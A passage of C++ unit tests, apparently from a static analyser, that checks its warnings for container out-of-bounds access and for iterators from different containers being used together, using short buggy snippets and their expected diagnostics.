1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 